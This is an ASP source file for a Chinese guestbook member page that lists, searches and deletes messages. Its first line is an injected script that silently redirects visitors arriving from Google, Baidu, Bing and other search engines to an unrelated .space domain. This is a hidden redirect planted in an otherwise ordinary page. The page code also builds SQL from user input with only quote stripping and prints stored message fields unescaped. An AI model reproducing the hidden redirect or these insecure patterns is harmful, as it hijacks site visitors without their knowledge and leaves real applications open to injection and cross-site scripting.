d:\wwwroot\wuchunhua\message.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="head.asp"-->
002:
<%
if session("china_uid")="" then
003:
response.redirect "login.asp"
004:
end if
005:
006:
dim sql,rs
007:
keyword=replace(trim(request.form("keyword")),"'","")
008:
if keyword <>"" then
009:
sql="select * from china_message where uid='"&session("china_uid")&"' and zn='no' and ( messagename like '%" & keyword & "%' or messagelxfs like '%" & keyword & "%' or messagetext like '%" & keyword & "%' ) order by id desc"
010:
else
011:
sql="select * from china_message where uid='"&session("china_uid")&"' and zn='no' order by id desc"
012:
end if
013:
set rs=server.createobject("adodb.recordset")
014:
rs.open sql,conn,1,3
%
>
015:
<SCRIPT language=javascript>
016:
function CheckAll(form)
017:
{
018:
for (var i=0;i<form.elements.length;i++)
019:
{
020:
var e = form.elements[i];
021:
if (e.Name != "chkAll")
022:
e.checked = form.chkAll.checked;
023:
}
024:
}
025:
function Checked()
026:
{
027:
var j = 0
028:
for(i=0;i < document.form.elements.length;i++){
029:
if(document.form.elements[i].name == "adid"){
030:
if(document.form.elements[i].checked){
031:
j++;
032:
}
033:
}
034:
}
035:
return j;
036:
}
037:
038:
function DelAll()
039:
{
040:
if(Checked() <= 0){
041:
alert("您至少选择1条留言!");
042:
}
043:
else{
044:
if(confirm("确定要删除选择的留言吗？\n此操作不可以恢复！")){
045:
form.action="del.asp?del=message";
046:
form.submit();
047:
}
048:
}
049:
}
050:
051:
</SCRIPT><body bgcolor="#FFFFFF">
052:
<FORM name=form method=post>
053:
<table width="860" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="CAE2F8">
054:
<tr>
055:
<td bgcolor="CAE2F8" align="center"><TABLE width=100% border=0 cellPadding=0 cellSpacing=0>
056:
<TBODY>
057:
<TR bgcolor="EFF7FE">
058:
<TD width=23 vAlign=middle align="center"><IMG alt=arrow
059:
src="images/arrow_01.gif"></TD>
060:
<TD height="28"><a href="user.asp"><font color="#CC0000">会员中心</font></a>
061:
>> 查看留言信息</TD>
062:
<TD width="45" align="center"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></TD>
063:
</TR>
064:
</TBODY>
065:
</TABLE></td>
066:
</tr>
067:
<tr>
068:
<td bgcolor="#FFFFFF"> <br>
069:
<table width="750" border="0" align="center" cellpadding="0" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="CAE2F8">
070:
<tr bgcolor="EFF7FE">
071:
<td align="center">编号</td>
072:
<td align="center" height="28">留 言 人</td>
073:
<td align="center">联系方式</td>
074:
<td><p align="center">留言内容</td>
075:
<td align="center">来源</td>
076:
<td><p align="center">留言日期</td>
077:
<td width="30" align="center"><input id=chkAll
078:
onClick=CheckAll(this.form) type=checkbox
079:
value=checkbox name=chkAll></td>
080:
</tr>
081:
<%
if rs.eof or rs.bof then
082:
response.write"<tr bgcolor=#FFFFFF><td colspan='10'><p align='center'><font color='red'>暂无相关留言！</font></td></tr></table><br>"
083:
'response.end
084:
else
085:
const maxperpage=20
086:
dim currentpage
087:
rs.pagesize=maxperpage
088:
currentpage=request.querystring("pageid")
089:
if isnumeric(currentpage)=false then
090:
response.write "<script>alert('参数错误，关闭窗口！');window.close();</script>"
091:
response.end
092:
end if
093:
if currentpage="" then
094:
currentpage=1
095:
elseif currentpage<1 then
096:
currentpage=1
097:
else
098:
currentpage=clng(currentpage)
099:
if currentpage > rs.pagecount then
100:
currentpage=rs.pagecount
101:
end if
102:
end if
103:
104:
dim totalput,n
105:
totalput=rs.recordcount
106:
if totalput mod maxperpage=0 then
107:
n=totalput\maxperpage
108:
else
109:
n=totalput\maxperpage+1
110:
end if
111:
if n=0 then
112:
n=1
113:
end if
114:
rs.move(currentpage-1)*maxperpage
115:
i=0
116:
do while i< maxperpage and not rs.eof
117:
messagetext=rs("messagetext")
118:
rs("hits")=1
119:
rs.update
120:
%
>
121:
<tr bgcolor="#FFFFFF">
122:
<td height="28"><p align="center">
<%
=i+currentpage*maxperpage-maxperpage+1
%
></td>
123:
<td height="28" valign="top">
<%
=rs("messagename")
%
> </td>
124:
<td valign="top" height="28">
<%
=rs("messagelxfs")
%
></td>
125:
<td height="28" valign="top">
<%
=messagetext
%
></td>
126:
<td height="28" align="center" valign="top"><a href="show.asp?id=
<%
=rs("adid")
%
>" target="_blank">查看</a></td>
127:
<td height="28" align="center">
<%
=rs("messagedate")
%
></td>
128:
<td height="28" align="center"><input type="checkbox" name="adid" value="
<%
=rs("id")
%
>" onClick=Checked(form)></td>
129:
</tr>
130:
<%
i=i+1
131:
rs.movenext
132:
loop
133:
rs.close
134:
set rs=nothing
135:
end if
%
>
136:
</table>
137:
<br>
138:
</td>
139:
</tr>
140:
</table></FORM>
141:
<table width="860" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="CAE2F8">
142:
<tr>
143:
<td height="28" bgcolor="#FFFFFF">
144:
<p align="center">页数：
<%
=currentpage
%
>/
<%
=n
%
>
145:
<%
k=currentpage
146:
if k<>1 then
%
>
147:
<a href="?pageid=1">首页</a> <a href="?pageid=
<%
=k-1
%
>">上一</a>
148:
<%
else
%
>
149:
首页 上一页
150:
<%
end if
%
>
151:
<%
if k<>n then
%
>
152:
<a href="?pageid=
<%
=k+1
%
>">下一</a> <a href="?pageid=
<%
=n
%
>">尾页</a>
153:
<%
else
%
>
154:
下一页 尾页
155:
<%
end if
%
>
156:
共有
<%
=totalput
%
> 条留言
157:
</td>
158:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
159:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
160:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
161:
</form>
162:
</tr>
163:
</table>
164:
<table border="0" cellpadding="0" cellspacing="0" align="center" id="table23">
165:
<tr>
166:
<td height="6"></td>
167:
</tr>
168:
</table>
169:
<!--#include file="foot.asp"-->
170:
171: